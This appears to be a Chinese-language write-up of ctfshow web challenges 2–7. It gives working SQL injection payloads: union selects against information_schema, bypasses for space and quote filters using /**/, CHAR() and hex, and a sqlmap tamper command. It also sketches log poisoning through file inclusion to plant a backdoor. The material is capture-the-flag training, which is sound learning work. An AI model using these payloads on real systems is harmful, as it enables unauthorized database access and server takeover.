ctfshow web类 2-7题

签到题

  • 右键base64解密

2、就是纯post模式的sql注入

  • 使用联合查询进行1' union select 1,table_name,3 from information_schema.tables where table_schema=database() #

  • 这个题有个坑就是涉及到回显位置

  • 他这个就是回显位置是 2 这个地方 其他的位置是不会回显的

  • 获取列

  • 1' union select 1,column_name,3 from information_schema.columns where table_name='flag' #

  • 得到列只有一个就是flag 那就进行查询数据

  • 1' union select 1,flag,3 from flag#

3、文件包含


*

4、文件包含类 日志拿权

复制代码
  日志文件地址
  linux: 
  /var/log/httpd/access_log
  /var/log/apache/access.log
  /var/log/nginx/access.log
  • 抓包

  • 在日志上进行写入后门 页面中有了

  • 后门工具连接

5、 php脆弱性:

6、sql 注入但是空格被过滤

  • 手工: 可以使用 /**/ 进行过滤掉 也可以使用sqlmap自带的脚本
  • python3 sqlmap.py -u "" --batch -- tamper=space2morecomment --leve=3
  • --batch 自动选择交互内容为 y
  • -- tamper=space2morecomment 使用空格转换脚本
  • --leve=3 精细处理

7、过滤掉了 空格和 ''

  • 先进行检测

  • 报错说明 and 1=1# 有东西被过滤了 可能是 and 或者是 空格

  • 这个情况就是空格了 空格被过滤可以使用 注释符号代替 /**/

  • 判断哪个是过滤掉的逻辑

  • 我常用的方法就是在这个 参数前面加上 这个过滤符号 看看还能不能正常显示 如果正常说明这个就是被过滤了

  • 还有一个情况就是说明被拦截了 说明 ' 不能进行使用了

  • '' 的过滤就是 1、 16进制加密 2、使用char(97,98) 这样使用ascii进行拼接

  • -1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

  • ?id=-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=CHAR(102,108,97,103)#

  • ?id=-1/**/union/**/select/**/1,2,flag/**/from/**/flag#